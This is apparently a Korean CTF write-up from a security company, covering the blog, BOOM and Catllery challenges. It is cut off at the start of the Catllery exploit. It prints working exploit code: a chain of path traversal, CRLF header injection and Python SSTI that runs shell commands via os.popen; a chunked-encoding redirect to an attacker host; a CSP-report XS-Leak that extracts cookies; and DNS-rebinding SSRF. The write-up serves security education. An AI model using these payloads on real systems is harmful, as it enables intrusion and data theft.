오늘 닫기

Go to Top

Go to Top

채용연계형 해킹대회 라이트업 썸네일
채용연계형 해킹대회 라이트업 썸네일

보안 인사이트

보안 인사이트

보안 인사이트

ENKI Redteam CTF Writeup : Jeopardy

ENKI Redteam CTF Writeup : Jeopardy

ENKI Redteam CTF Writeup : Jeopardy

엔키화이트햇

엔키화이트햇

Content

Content

Content

2026 ENKI RedTeam CTF에서 출제된 Jeopardy 문제에 대한 Write-up을 공개합니다.

이번 콘텐츠는 blog, BOOM, Catllery, enki remote service, leakage, luck, Partner Contract Portal, sfa 총 8개 문제를 대상으로 구성되었으며, 단순한 정답 공유를 넘어 실제 공격자의 시선에서 문제를 어떻게 바라보고 접근해야 하는지를 중심으로 정리했습니다. 각 문제별로 취약점 구분, 출제 의도, 풀이 과정, 그리고 종합 평가까지 함께 담아, 개별 문제를 푸는 데서 그치지 않고 전체적인 공격 흐름과 사고 방식을 이해할 수 있도록 구성했습니다.

문제를 직접 풀어보신 분들께는 복기와 인사이트를, 처음 접하시는 분들께는 공격자 관점을 이해하는 출발점이 되기를 바랍니다.

blog

Welcome to ENKI Whitehat blog!!

Execute /readflag to get flag.

취약점 구분

Path Traversal (Arbitrary File Read), CRLF Injection / HTTP Header Injection, nginx Internal Redirect, Server-Side Template Injection (SSTI)

출제 의도

본 문제는 소스코드가 제공되지 않는 블랙박스 환경에서, 파일 다운로드 취약점을 기점으로 서버 구성과 소스코드를 단계적으로 유출하고, 최종적으로 원격 코드 실행(RCE)까지 도달하는 공격 체인을 구성하는 능력을 평가하기 위해 출제되었습니다.

  1. 파일 다운로드 취약점 식별 및 정보 수집: 서버 측 필터링의 한계를 파악하여 임의 파일 읽기를 수행하고, 이를 통해 서버 설정과 소스코드를 수집하는 정보 수집 능력을 평가합니다.

  2. nginx 내부 동작 이해: nginx의 Named Location과 X-Accel-Redirect 헤더의 동작을 이해하여, 인증이 필요한 내부 라우팅 경로에 접근하는 방법을 찾을 수 있는지 확인합니다.

  3. 커스텀 템플릿 엔진의 SSTI 취약점: 자체 구현된 템플릿 엔진의 필터 시스템을 분석하여, 컨텍스트 오버라이드를 통한 임의 코드 실행이 가능한지 검증합니다.

풀이

1. 기능 탐색 및 취약점 식별

블랙박스 환경에서 서비스에 접속하면, 블로그 형태의 웹 사이트가 제공됩니다. 각 게시글(/post/<id>)에는 다운로드 링크가 있으며, /post/download?filename=... 엔드포인트를 통해 파일을 다운로드할 수 있습니다.

파일 다운로드 기능에 대한 테스트를 진행해보면 다음과 같은 특징을 발견할 수 있습니다.

  • ../ 문자열 치환 제거

  • ..\\\\ 문자열 치환 제거

또한, /가 맨 앞에 삽입되었을 경우, 최상위 디렉토리에서 탐색이 이루어져 파일 다운로드 공격이 가능함을 알 수 있습니다.

2. 서버 정보 수집

이 취약점을 활용하여 다음 파일들을 순차적으로 읽어 서버 구조를 파악합니다.

  1. /home/app/.sh_history: 명령 히스토리를 통해 디렉터리 구조와 서비스 구성 파악

  2. /etc/nginx/conf.d/default.conf/etc/nginx/default.conf.template: nginx 설정 확인

  3. /app/backend/routes/*.py, /app/backend/framework/*.py: 백엔드 소스코드 획득

nginx 설정을 분석하면 다음 구조를 확인할 수 있습니다.

location /auth/ {
      if ($remote_addr !~ "^10\\\\.231\\\\.3\\\\.[0-9]

location /auth/ {
      if ($remote_addr !~ "^10\\\\.231\\\\.3\\\\.[0-9]

location /auth/ {
      if ($remote_addr !~ "^10\\\\.231\\\\.3\\\\.[0-9]

  • /auth/ 경로는 Bearer 토큰 검증과 IP 대역 검사(10.231.3.x)를 통과해야 내부 Named Location(@admin)으로 라우팅됩니다.

  • 정상적인 방법으로는 @admin 라우팅에 접근할 수 없으므로, 백엔드의 다른 취약점을 활용해야 합니다.

3. Header Injection을 통한 nginx Internal Redirect

@bp.post("/profile/theme")
def profile_theme(req: Request) -> Response:
    params = parse_form(req.body.decode("utf-8", "ignore"))
    theme = get_one(params, "theme", "light", 16)

    username = _get_cookie(req, "user") or "guest"
    r = _tmpl(
        "index/profile.html",
        nav_user_html=_nav_user(username),
        profile_rows_html=(
            f'<tr><th>Username</th><td>{_html.escape(username)}</td></tr>'
            f'<tr><th>Theme</th>   <td>{_html.escape(theme)}</td></tr>'
        ),
        theme_form_html=(
            f'<form method="POST" action="/profile/theme">'
            f'<input name="theme" value="{_html.escape(theme)}">'
            f'<button type="submit">Save</button></form>'
            f'<p>&#10003; Theme updated. <a href="/profile">Back</a></p>'
        ),
    )
    r.set_cookie(f"theme={theme}; Path=/")
    return r
@bp.post("/profile/theme")
def profile_theme(req: Request) -> Response:
    params = parse_form(req.body.decode("utf-8", "ignore"))
    theme = get_one(params, "theme", "light", 16)

    username = _get_cookie(req, "user") or "guest"
    r = _tmpl(
        "index/profile.html",
        nav_user_html=_nav_user(username),
        profile_rows_html=(
            f'<tr><th>Username</th><td>{_html.escape(username)}</td></tr>'
            f'<tr><th>Theme</th>   <td>{_html.escape(theme)}</td></tr>'
        ),
        theme_form_html=(
            f'<form method="POST" action="/profile/theme">'
            f'<input name="theme" value="{_html.escape(theme)}">'
            f'<button type="submit">Save</button></form>'
            f'<p>&#10003; Theme updated. <a href="/profile">Back</a></p>'
        ),
    )
    r.set_cookie(f"theme={theme}; Path=/")
    return r
@bp.post("/profile/theme")
def profile_theme(req: Request) -> Response:
    params = parse_form(req.body.decode("utf-8", "ignore"))
    theme = get_one(params, "theme", "light", 16)

    username = _get_cookie(req, "user") or "guest"
    r = _tmpl(
        "index/profile.html",
        nav_user_html=_nav_user(username),
        profile_rows_html=(
            f'<tr><th>Username</th><td>{_html.escape(username)}</td></tr>'
            f'<tr><th>Theme</th>   <td>{_html.escape(theme)}</td></tr>'
        ),
        theme_form_html=(
            f'<form method="POST" action="/profile/theme">'
            f'<input name="theme" value="{_html.escape(theme)}">'
            f'<button type="submit">Save</button></form>'
            f'<p>&#10003; Theme updated. <a href="/profile">Back</a></p>'
        ),
    )
    r.set_cookie(f"theme={theme}; Path=/")
    return r

백엔드 소스코드를 분석하면, /profile/theme 엔드포인트에서 사용자가 전달한 theme 값을 set_cookie 메소드로 그대로 전달하는 것을 볼 수 있습니다.

def set_cookie(self, cookie_line: str) -> None:
    self.cookies.append(cookie_line)

def to_bytes(self) -> bytes:
    ... 중략 ...
    for c in self.cookies:
        lines.append(f"Set-Cookie:{c}\\r\\n")

    lines.append("\\r\\n")
    return "".join(lines).encode("ascii") + self.body
def set_cookie(self, cookie_line: str) -> None:
    self.cookies.append(cookie_line)

def to_bytes(self) -> bytes:
    ... 중략 ...
    for c in self.cookies:
        lines.append(f"Set-Cookie:{c}\\r\\n")

    lines.append("\\r\\n")
    return "".join(lines).encode("ascii") + self.body
def set_cookie(self, cookie_line: str) -> None:
    self.cookies.append(cookie_line)

def to_bytes(self) -> bytes:
    ... 중략 ...
    for c in self.cookies:
        lines.append(f"Set-Cookie:{c}\\r\\n")

    lines.append("\\r\\n")
    return "".join(lines).encode("ascii") + self.body

이때 cookie_line 값에 대한 검증이 누락되어, CRLF Injection 취약점이 발생합니다.

theme = get_one(params, "theme", "light", 16)
theme = get_one(params, "theme", "light", 16)
theme = get_one(params, "theme", "light", 16)

그러나 theme 파라미터에는 16바이트 길이 제한이 존재하여 이를 우회할 방법을 찾아야 합니다.

def get_one(data: Dict[str, Any], key: str, default: str = "", max_len: int = 0) -> Any:
    val = data.get(key)
    if val is None:
        return default
    if isinstance(val, dict):
        return default
    if isinstance(val, list):
        val = val[0] if val else default
    if max_len > 0 and len(val) > max_len:
        val = val[:max_len]
    return val if isinstance(val, str) else get_one({key: val}, key, default)
def get_one(data: Dict[str, Any], key: str, default: str = "", max_len: int = 0) -> Any:
    val = data.get(key)
    if val is None:
        return default
    if isinstance(val, dict):
        return default
    if isinstance(val, list):
        val = val[0] if val else default
    if max_len > 0 and len(val) > max_len:
        val = val[:max_len]
    return val if isinstance(val, str) else get_one({key: val}, key, default)
def get_one(data: Dict[str, Any], key: str, default: str = "", max_len: int = 0) -> Any:
    val = data.get(key)
    if val is None:
        return default
    if isinstance(val, dict):
        return default
    if isinstance(val, list):
        val = val[0] if val else default
    if max_len > 0 and len(val) > max_len:
        val = val[:max_len]
    return val if isinstance(val, str) else get_one({key: val}, key, default)

get_one 함수를 분석해보면 재귀 구현의 버그로 인해 theme[][] 형식(배열 파라미터)을 사용하면 이 검증을 우회할 수 있습니다. 이를 통해 X-Accel-Redirect 헤더를 주입할 수 있게 됩니다.

theme[][] = \\r\\nX-Accel-Redirect: @admin\\r\\n\\r\\
theme[][] = \\r\\nX-Accel-Redirect: @admin\\r\\n\\r\\
theme[][] = \\r\\nX-Accel-Redirect: @admin\\r\\n\\r\\

X-Accel-Redirect는 nginx의 내부 리다이렉트 기능으로, 백엔드 응답에 이 헤더가 포함되면 nginx가 해당 Named Location으로 내부 요청을 전환합니다. 이를 통해 토큰 및 IP 검증 없이 @admin 라우팅에 접근할 수 있습니다.

4. Server-Side Template Injection (SSTI)

구축된 서비스는 Jinja와 같은 template engine이 아닌, 커스텀 템플릿 엔진을 사용합니다. 엔진을 사용하는 여러 엔드포인트 중, /admin/announce에선 template engine의 인자로 사용자의 입력이 별다른 처리 없이 전달됩니다.

@bp.post("/admin/announce")
def admin_announce(req: Request) -> Response:
    params = parse_form(req.body.decode("utf-8", "ignore"))
    msg = get_one(params, "msg", "")

    return _tmpl(
        "admin/announce.html",
        greeting=msg,
        maintenance_time="2026-03-01 03:00 UTC",
    )
@bp.post("/admin/announce")
def admin_announce(req: Request) -> Response:
    params = parse_form(req.body.decode("utf-8", "ignore"))
    msg = get_one(params, "msg", "")

    return _tmpl(
        "admin/announce.html",
        greeting=msg,
        maintenance_time="2026-03-01 03:00 UTC",
    )
@bp.post("/admin/announce")
def admin_announce(req: Request) -> Response:
    params = parse_form(req.body.decode("utf-8", "ignore"))
    msg = get_one(params, "msg", "")

    return _tmpl(
        "admin/announce.html",
        greeting=msg,
        maintenance_time="2026-03-01 03:00 UTC",
    )

커스텀 템플릿 엔진의 핵심 취약점은 다음과 같습니다.

  • 템플릿 컨텍스트에 __filters__라는 딕셔너리가 존재하며, 이를 통해 필터 함수가 정의됩니다.

  • 파라미터를 바인딩하는 과정에서 불충분한 검증 및 로직 버그로 인해 컨텍스트의 __filters__덮어쓸 수 있습니다.

  • 필터 표현식은 내부적으로 eval()로 실행됩니다.

이를 통해 msg 파라미터를 딕셔너리 형태로 주입하면, 이미 지정된 safe 필터를 악성 표현식으로 교체할 수 있으며, 임의 코드 실행이 가능해집니다.

expr = (
    "SafeString([c for c in ().__class__.__mro__[1].__subclasses__() "
    "if c.__name__=='catch_warnings'][0].__init__.__globals__"
    "['__builtins__']['__import__']('os')"
    ".popen('/readflag').read())"
)
payload = str({"__filters__": {"safe": expr}})
expr = (
    "SafeString([c for c in ().__class__.__mro__[1].__subclasses__() "
    "if c.__name__=='catch_warnings'][0].__init__.__globals__"
    "['__builtins__']['__import__']('os')"
    ".popen('/readflag').read())"
)
payload = str({"__filters__": {"safe": expr}})
expr = (
    "SafeString([c for c in ().__class__.__mro__[1].__subclasses__() "
    "if c.__name__=='catch_warnings'][0].__init__.__globals__"
    "['__builtins__']['__import__']('os')"
    ".popen('/readflag').read())"
)
payload = str({"__filters__": {"safe": expr}})

이 페이로드는 Python의 warnings.catch_warnings 클래스를 통해 __builtins__에 접근하고, os.popen()으로 /readflag 바이너리를 실행합니다.

5. 익스플로잇 실행

위 과정을 조합한 최종 익스플로잇은 다음과 같습니다.

def exploit(base_url, target_cmd):
    url = base_url.rstrip("/") + "/profile/theme?next=announce"
    data = urllib.parse.urlencode({
        "theme[][]": "\\r\\nX-Accel-Redirect: @admin\\r\\n\\r\\n",
        "msg[][]": str({"__filters__": {"safe":
            "SafeString([c for c in ().__class__.__mro__[1].__subclasses__() "
            "if c.__name__=='catch_warnings'][0].__init__.__globals__"
            "['__builtins__']['__import__']('os')"
            f".popen('{target_cmd}').read())"
        }}),
    }).encode()

    req = urllib.request.Request(url, data=data, method="POST")
    req.add_header("Content-Type", "application/x-www-form-urlencoded")

    with urllib.request.urlopen(req, timeout=10) as resp:
        body = resp.read().decode("utf-8", "replace")

    match = re.search(r'<div class="notice">(.*?)</div>', body, re.DOTALL)
    return match.group(1).strip()
def exploit(base_url, target_cmd):
    url = base_url.rstrip("/") + "/profile/theme?next=announce"
    data = urllib.parse.urlencode({
        "theme[][]": "\\r\\nX-Accel-Redirect: @admin\\r\\n\\r\\n",
        "msg[][]": str({"__filters__": {"safe":
            "SafeString([c for c in ().__class__.__mro__[1].__subclasses__() "
            "if c.__name__=='catch_warnings'][0].__init__.__globals__"
            "['__builtins__']['__import__']('os')"
            f".popen('{target_cmd}').read())"
        }}),
    }).encode()

    req = urllib.request.Request(url, data=data, method="POST")
    req.add_header("Content-Type", "application/x-www-form-urlencoded")

    with urllib.request.urlopen(req, timeout=10) as resp:
        body = resp.read().decode("utf-8", "replace")

    match = re.search(r'<div class="notice">(.*?)</div>', body, re.DOTALL)
    return match.group(1).strip()
def exploit(base_url, target_cmd):
    url = base_url.rstrip("/") + "/profile/theme?next=announce"
    data = urllib.parse.urlencode({
        "theme[][]": "\\r\\nX-Accel-Redirect: @admin\\r\\n\\r\\n",
        "msg[][]": str({"__filters__": {"safe":
            "SafeString([c for c in ().__class__.__mro__[1].__subclasses__() "
            "if c.__name__=='catch_warnings'][0].__init__.__globals__"
            "['__builtins__']['__import__']('os')"
            f".popen('{target_cmd}').read())"
        }}),
    }).encode()

    req = urllib.request.Request(url, data=data, method="POST")
    req.add_header("Content-Type", "application/x-www-form-urlencoded")

    with urllib.request.urlopen(req, timeout=10) as resp:
        body = resp.read().decode("utf-8", "replace")

    match = re.search(r'<div class="notice">(.*?)</div>', body, re.DOTALL)
    return match.group(1).strip()

실행하면 /readflag의 출력으로 플래그 ENKI{cd47897817aacda9abef6dcbfcdf5bfc1a0c1f11d7affdb8dcf7d10916ba3353}를 획득할 수 있습니다.

종합평

본 문제는 단일 취약점의 발견보다는, 블랙박스 환경에서 서비스 구조를 추론하고 각 취약점을 연결해 최종 목표에 도달하는 과정을 평가하고자 설계하였습니다. 초반에는 파일 다운로드 기능을 통해 설정 파일과 소스 코드를 확보하고, 이후 이를 바탕으로 내부 라우팅과 관리자 기능 접근 방식을 분석해야 다음 단계로 이어질 수 있도록 구성하였습니다.

핵심 의도는 X-Accel-Redirect를 이용한 내부 리다이렉트 악용과, 마지막 단계에서 커스텀 템플릿 엔진의 구현상 결함을 분석해 SSTI/RCE로 연결하는 흐름에 있습니다. 단순한 취약점 공격이 아니라 서버 설정, 애플리케이션 로직, 템플릿 엔진 코드를 함께 분석하여 취약점을 체인 형태로 조합하는 역량을 확인하고자 하였습니다.

BOOM

Piece by piece

취약점 구분

CRLF Injection, HTTP Response Splitting, XS-Leaks (Cross-Site Leaks)

출제 의도

이 문제는 단일 취약점이 아니라, 여러 웹 보안 기법을 엮어 플래그를 추출하는 공격 체인을 구성하는 능력을 평가하려고 냈습니다. 구체적으로는 다음 세 가지 핵심 역량을 검증합니다.

  1. CRLF Injection의 심화 활용: 사용자 입력이 HTTP 응답 헤더에 반영될 때 생기는 CRLF Injection을 찾아내고, 이를 바탕으로 임의의 HTTP 헤더를 넣을 수 있는지 확인합니다.

  2. HTTP/1.1 프로토콜 수준의 이해: Transfer-Encoding: chunkedContent-Length보다 우선 적용된다는 HTTP/1.1 스펙을 활용하여, 서버 측의 Content-Length: 0 방어를 우회할 수 있는지 평가합니다.

  3. XS-Leaks를 통한 Side-Channel 공격: Content-Security-Policy(CSP) report 메커니즘을 오라클(oracle)로 써서, 응답 본문 내용을 한 글자씩 유출하는 공격 기법을 구현할 수 있는지 검증합니다.

풀이

1. 서버 구조 분석

본 문제는 세 개의 컴포넌트로 구성되어 있습니다.

  • app (Python HTTP 서버, 포트 3000): 핵심 애플리케이션 서버

  • Apache 리버스 프록시: CSP 헤더(default-src 'none')를 강제 부여하는 프록시

  • bot (Puppeteer): FLAG 쿠키를 보유한 채 공격자가 지정한 경로를 방문하는 봇

app 서버의 핵심 로직은 다음과 같습니다.

def do_GET(self):
    query = parse_qs(urlparse(self.path).query, keep_blank_values=True)
    content_type = query.get("q", ["text/plain; charset=utf-8"])[0]

    cookie = SimpleCookie(self.headers.get("Cookie", ""))
    flag_cookie = cookie["FLAG"].value if "FLAG" in cookie else None
    body = (flag_cookie or "Hello ENKI").encode()

    # direct top-level navigation인 경우 Content-Length를 0으로 고정
    if fetch_site == "none" and fetch_mode == "navigate" and fetch_dest == "document":
        self.send_header("Content-Length", 0)

    self.send_header("Content-Type", content_type)
    self.end_headers()
    self.wfile.write(body)
def do_GET(self):
    query = parse_qs(urlparse(self.path).query, keep_blank_values=True)
    content_type = query.get("q", ["text/plain; charset=utf-8"])[0]

    cookie = SimpleCookie(self.headers.get("Cookie", ""))
    flag_cookie = cookie["FLAG"].value if "FLAG" in cookie else None
    body = (flag_cookie or "Hello ENKI").encode()

    # direct top-level navigation인 경우 Content-Length를 0으로 고정
    if fetch_site == "none" and fetch_mode == "navigate" and fetch_dest == "document":
        self.send_header("Content-Length", 0)

    self.send_header("Content-Type", content_type)
    self.end_headers()
    self.wfile.write(body)
def do_GET(self):
    query = parse_qs(urlparse(self.path).query, keep_blank_values=True)
    content_type = query.get("q", ["text/plain; charset=utf-8"])[0]

    cookie = SimpleCookie(self.headers.get("Cookie", ""))
    flag_cookie = cookie["FLAG"].value if "FLAG" in cookie else None
    body = (flag_cookie or "Hello ENKI").encode()

    # direct top-level navigation인 경우 Content-Length를 0으로 고정
    if fetch_site == "none" and fetch_mode == "navigate" and fetch_dest == "document":
        self.send_header("Content-Length", 0)

    self.send_header("Content-Type", content_type)
    self.end_headers()
    self.wfile.write(body)

핵심 포인트는 다음과 같습니다.

  • q 파라미터의 값이 Content-Type 헤더에 그대로 반영됩니다.

  • 봇이 직접 탐색(top-level navigation)할 경우 Content-Length: 0이 설정되어 응답 본문이 표시되지 않습니다.

  • 응답 본문에는 봇의 FLAG 쿠키 값이 포함됩니다.

또한 Apache 프록시에서 Content-Security-Policy: default-src 'none'을 강제하고 있어, 일반적인 XSS 공격이 제한됩니다.

2. CRLF Injection을 통한 헤더 삽입

q 파라미터에 \\r\\n(CRLF) 문자를 삽입하면, Content-Type 헤더 뒤에 임의의 HTTP 헤더를 추가할 수 있습니다. 예를 들어 다음과 같은 요청을 보내면:

서버 응답에는 다음과 같이 X-Custom 헤더가 추가됩니다.




이 CRLF Injection이 이후 공격의 기반이 됩니다.

3. HTTP/1.1 Transfer-Encoding을 이용한 Content-Length 우회

봇이 직접 페이지를 방문하면 Content-Length: 0이 설정되므로, 응답 본문(플래그)을 브라우저가 렌더링하지 않습니다. 이를 우회하기 위해 HTTP/1.1의 중요한 스펙을 활용합니다.

RFC 7230에 따르면, Transfer-EncodingContent-Length가 동시에 존재할 경우 Transfer-Encoding이 우선합니다.

따라서 CRLF Injection으로 Transfer-Encoding: chunked 헤더를 삽입하고, chunked 인코딩된 본문에 리다이렉트용 HTML을 포함시키면 됩니다.

text/html; charset=utf-8\\r\\nTransfer-Encoding: chunked\\r\\n\\r\\n37\\r\\n<meta http-equiv="refresh" content="0;url=http://attacker:8080/">\\r\\n0\\r\\n\\r\\
text/html; charset=utf-8\\r\\nTransfer-Encoding: chunked\\r\\n\\r\\n37\\r\\n<meta http-equiv="refresh" content="0;url=http://attacker:8080/">\\r\\n0\\r\\n\\r\\
text/html; charset=utf-8\\r\\nTransfer-Encoding: chunked\\r\\n\\r\\n37\\r\\n<meta http-equiv="refresh" content="0;url=http://attacker:8080/">\\r\\n0\\r\\n\\r\\

이 페이로드를 q 파라미터로 전달하면, 봇의 브라우저는 Content-Length: 0을 무시하고 chunked 본문을 파싱하여 공격자 서버로 리다이렉트됩니다.

4. XS-Leaks: CSP Report를 오라클로 활용한 플래그 추출

공격자 서버로 봇을 유도한 뒤에는, XS-Leaks 기법으로 플래그를 한 글자씩 추출합니다. 핵심 원리는 다음과 같습니다.

원리: 서버 응답의 본문에는 플래그가 포함되어 있습니다. CRLF Injection으로 Content-Length를 정밀하게 제어하면, 응답 본문을 특정 길이만큼만 잘라서 표시할 수 있습니다. 이렇게 잘린 본문을 <style> 태그 안에 넣고, Content-Security-Policy-Report-Only 헤더에 해당 내용의 SHA-256 해시를 지정하면:

  • 해시가 일치하면 → CSP 위반이 발생하지 않음 → report가 전송되지 않음

  • 해시가 불일치하면 → CSP 위반이 발생 → report가 공격자 서버로 전송됨

이를 통해 “report가 오지 않은 후보 = 정답 문자”라는 오라클이 성립합니다.

공격 흐름:

1. 공격자 서버가 현재까지 알려진 flag prefix에 각 후보 문자를 붙인 URL 목록을 생성
2. 각 URL에 대해:
   - Content-Length를 "<style>\\r\\n\\r\\n{prefix+candidate}" 길이로 설정
   - CSP-Report-Only 헤더에 "\\n\\

1. 공격자 서버가 현재까지 알려진 flag prefix에 각 후보 문자를 붙인 URL 목록을 생성
2. 각 URL에 대해:
   - Content-Length를 "<style>\\r\\n\\r\\n{prefix+candidate}" 길이로 설정
   - CSP-Report-Only 헤더에 "\\n\\

1. 공격자 서버가 현재까지 알려진 flag prefix에 각 후보 문자를 붙인 URL 목록을 생성
2. 각 URL에 대해:
   - Content-Length를 "<style>\\r\\n\\r\\n{prefix+candidate}" 길이로 설정
   - CSP-Report-Only 헤더에 "\\n\\

공격자 서버의 핵심 로직은 다음과 같습니다.

def probe_url(guess):
    report = origin + "/csp?guess=" + quote(guess, safe="")
    size = len(f"<style>\\r\\n\\r\\n{guess}".encode())
    digest = hashlib.sha256(f"\\n\\n{guess}".encode()).digest()
    digest = base64.b64encode(digest).decode()
    payload = (
        "text/html; charset=utf-8\\r\\n"
        f"Content-Length:{size}\\r\\n"
        f"Content-Security-Policy-Report-Only: style-src 'sha256-{digest}'; "
        f"report-uri{report}\\r\\n"
        "\\r\\n"
        "<style>"
    )
    return chall + "/?q=" + quote(payload, safe="")
def probe_url(guess):
    report = origin + "/csp?guess=" + quote(guess, safe="")
    size = len(f"<style>\\r\\n\\r\\n{guess}".encode())
    digest = hashlib.sha256(f"\\n\\n{guess}".encode()).digest()
    digest = base64.b64encode(digest).decode()
    payload = (
        "text/html; charset=utf-8\\r\\n"
        f"Content-Length:{size}\\r\\n"
        f"Content-Security-Policy-Report-Only: style-src 'sha256-{digest}'; "
        f"report-uri{report}\\r\\n"
        "\\r\\n"
        "<style>"
    )
    return chall + "/?q=" + quote(payload, safe="")
def probe_url(guess):
    report = origin + "/csp?guess=" + quote(guess, safe="")
    size = len(f"<style>\\r\\n\\r\\n{guess}".encode())
    digest = hashlib.sha256(f"\\n\\n{guess}".encode()).digest()
    digest = base64.b64encode(digest).decode()
    payload = (
        "text/html; charset=utf-8\\r\\n"
        f"Content-Length:{size}\\r\\n"
        f"Content-Security-Policy-Report-Only: style-src 'sha256-{digest}'; "
        f"report-uri{report}\\r\\n"
        "\\r\\n"
        "<style>"
    )
    return chall + "/?q=" + quote(payload, safe="")

각 후보 문자에 대해 위 함수가 호출되어 프로브 URL이 생성됩니다. 봇이 이 URL들을 순차적으로 로드하면, 정답이 아닌 후보들은 CSP report를 공격자 서버로 전송합니다. report가 오지 않은 마지막 후보가 정답 문자가 되며, 이를 반복하여 전체 플래그를 복원합니다.

최종적으로 플래그 ENKI{3f9ed664533c75baa86a1fe3009926de2099363}를 획득할 수 있습니다.

종합평

본 문제는 CRLF Injection이라는 비교적 단순한 취약점에서 출발하여, HTTP 프로토콜 수준의 동작 이해와 XS-Leaks라는 고급 Side-Channel 기법까지 연결하는 복합적인 공격 체인을 요구합니다.

Catllery

Meow Meow Meow….

취약점 구분

SSRF (Server-Side Request Forgery), DNS Rebinding

출제 의도

본 문제는 프론트엔드 프레임워크가 제공하는 이미지 최적화 기능의 보안적 맹점을 파악하고, DNS Rebinding 기법을 활용하여 SSRF 공격을 수행하는 능력을 평가하기 위해 출제되었습니다. 구체적으로 다음 역량을 검증합니다.

  1. Next.js 이미지 최적화 엔드포인트의 SSRF 가능성 식별: /_next/image 엔드포인트가 외부 URL의 이미지를 서버 측에서 가져온다는 동작 방식을 이해하고, 이를 내부 서비스 접근에 활용할 수 있는지 확인합니다.

  2. DNS Rebinding을 통한 보호 우회: 호스트 검증이나 DNS 기반 보호를 우회하기 위해 DNS Rebinding 기법을 적용할 수 있는지 평가합니다.

  3. 내부 API 구조 분석 및 접근 통제 우회: 소스코드를 기반으로 내부 Flask 서비스의 비즈니스 로직과 접근 제어 메커니즘을 분석하여 우회 방안을 도출할 수 있는지 검증합니다.

풀이

1. 서비스 구조 파악

제공된 소스코드를 분석하면, 본 서비스는 다음과 같은 이중 구조로 운영됩니다.

  • 외부 서비스 (Next.js, 포트 3000): 사용자에게 노출되는 프론트엔드 웹 애플리케이션

  • 내부 서비스 (Flask + Redis, 포트 5000): 127.0.0.1에서만 접근 가능한 백엔드 API

docker-compose.yml을 확인하면 외부에는 포트 3000만 노출되어 있으며, 내부 Flask 서비스는 직접 접근이 불가능합니다. Next.js의 middleware.tslib/internal.ts를 보면, 프론트엔드가 서버 측에서 http://127.0.0.1:5000으로 내부 API를 호출하고 있음을 확인할 수 있습니다.

2. 핵심 목표 식별

내부 Flask 서비스의 코드(app.py)를 분석하면, /internal/get-image 엔드포인트가 핵심임을 알 수 있습니다.

@app.get("/internal/get-image")
def get_image():
    ticket_no = request.args.get("ticket_no", "")
    if ticket_no == VIP_TICKET_NO:
        return err("forbidden", 403)

    reservations = reservations_for_ticket_no(ticket_no) if ticket_no else []
    is_vip = any(str(row.get("seat")) == "VIP" for row in reservations)

    path = REAL_FLAG_IMAGE if is_vip else FAKE_FLAG_IMAGE
    return send_file(path, mimetype="image/png", max_age=0)
@app.get("/internal/get-image")
def get_image():
    ticket_no = request.args.get("ticket_no", "")
    if ticket_no == VIP_TICKET_NO:
        return err("forbidden", 403)

    reservations = reservations_for_ticket_no(ticket_no) if ticket_no else []
    is_vip = any(str(row.get("seat")) == "VIP" for row in reservations)

    path = REAL_FLAG_IMAGE if is_vip else FAKE_FLAG_IMAGE
    return send_file(path, mimetype="image/png", max_age=0)
@app.get("/internal/get-image")
def get_image():
    ticket_no = request.args.get("ticket_no", "")
    if ticket_no == VIP_TICKET_NO:
        return err("forbidden", 403)

    reservations = reservations_for_ticket_no(ticket_no) if ticket_no else []
    is_vip = any(str(row.get("seat")) == "VIP" for row in reservations)

    path = REAL_FLAG_IMAGE if is_vip else FAKE_FLAG_IMAGE
    return send_file(path, mimetype="image/png", max_age=0)

이 엔드포인트는 요청자의 예약 좌석 정보를 확인하여, VIP 좌석을 보유한 사용자에게만 플래그가 포함된 이미지를 반환합니다. 단, VIP 좌석의 ticket_no를 직접 사용하면 403 응답이 반환됩니다.

VIP 좌석은 서버 초기화 시 자동으로 생성되며, ticket_no는 365일 TTL로 Redis에 저장됩니다. 일반 좌석의 예약은 7초의 짧은 TTL을 가지고 있습니다.

여기서 중요한 점은 lookup Lua 스크립트의 동작입니다.

local req_ticket_no = ARGV[1]
local holder_ticket_no = redis.call("HGET", KEYS[1], "holder_ticket_no")
if tonumber(req_ticket_no) ~= tonumber(holder_ticket_no) then
  return {}
end
local req_ticket_no = ARGV[1]
local holder_ticket_no = redis.call("HGET", KEYS[1], "holder_ticket_no")
if tonumber(req_ticket_no) ~= tonumber(holder_ticket_no) then
  return {}
end
local req_ticket_no = ARGV[1]
local holder_ticket_no = redis.call("HGET", KEYS[1], "holder_ticket_no")
if tonumber(req_ticket_no) ~= tonumber(holder_ticket_no) then
  return {}
end

tonumber() 비교를 사용하므로, VIP의 ticket_no가 매우 긴 숫자(365자리)라 하더라도 Lua의 부동소수점 정밀도 한계로 인해, 앞부분이 동일한 다른 ticket_no로도 VIP 좌석 예약 조회가 가능합니다. 하지만 이보다 더 직접적인 공격 경로가 존재합니다 — SSRF를 통해 내부 API에 접근하는 것입니다.

3. Next.js 이미지 최적화 엔드포인트를 통한 SSRF

next.config.ts를 확인하면 다음과 같이 설정되어 있습니다.

const nextConfig: NextConfig = {
  images: {
    minimumCacheTTL: 0,
    remotePatterns: [{ protocol: "http", hostname: "**" }],
  },
};
const nextConfig: NextConfig = {
  images: {
    minimumCacheTTL: 0,
    remotePatterns: [{ protocol: "http", hostname: "**" }],
  },
};
const nextConfig: NextConfig = {
  images: {
    minimumCacheTTL: 0,
    remotePatterns: [{ protocol: "http", hostname: "**" }],
  },
};

hostname: "**" 설정은 모든 호스트의 이미지 로드를 허용합니다. Next.js의 /_next/image 엔드포인트는 서버 측에서 지정된 URL의 이미지를 fetch하므로, 이를 SSRF 벡터로 활용할 수 있습니다.

그러나 Next.js는 url 파라미터에 대해 기본적인 검증을 수행합니다. 로컬호스트나 내부 IP로의 직접 요청은 차단될 수 있으므로, DNS Rebinding 기법을 사용하여 이를 우회합니다.

4. DNS Rebinding을 통한 내부 접근

DNS Rebinding은 DNS 응답을 조작하여, 동일한 도메인이 첫 번째 조회에서는 외부 IP를, 두 번째 조회에서는 내부 IP(127.0.0.1)를 반환하도록 하는 기법입니다.

rbndr.us 서비스를 활용하면 이를 간단하게 구현할 수 있습니다. 도메인 형식은 {외부IP hex}.{내부IP hex}.rbndr.us이며, 조회할 때마다 두 IP 중 하나를 랜덤하게 반환합니다.

127.0.0.1의 hex 표현은 7f000001이므로, 다음과 같은 URL을 구성합니다.

여기서 ticket_no=1e309를 사용하는 이유는, 이 값이 과학적 표기법으로 매우 큰 숫자를 나타내어, Lua의 tonumber() 비교에서 VIP의 긴 ticket_no와 동등하게 평가될 수 있기 때문입니다.

5. 익스플로잇 실행

DNS Rebinding은 확률적으로 동작하므로, 성공할 때까지 반복 요청을 보냅니다.

import requests
import time

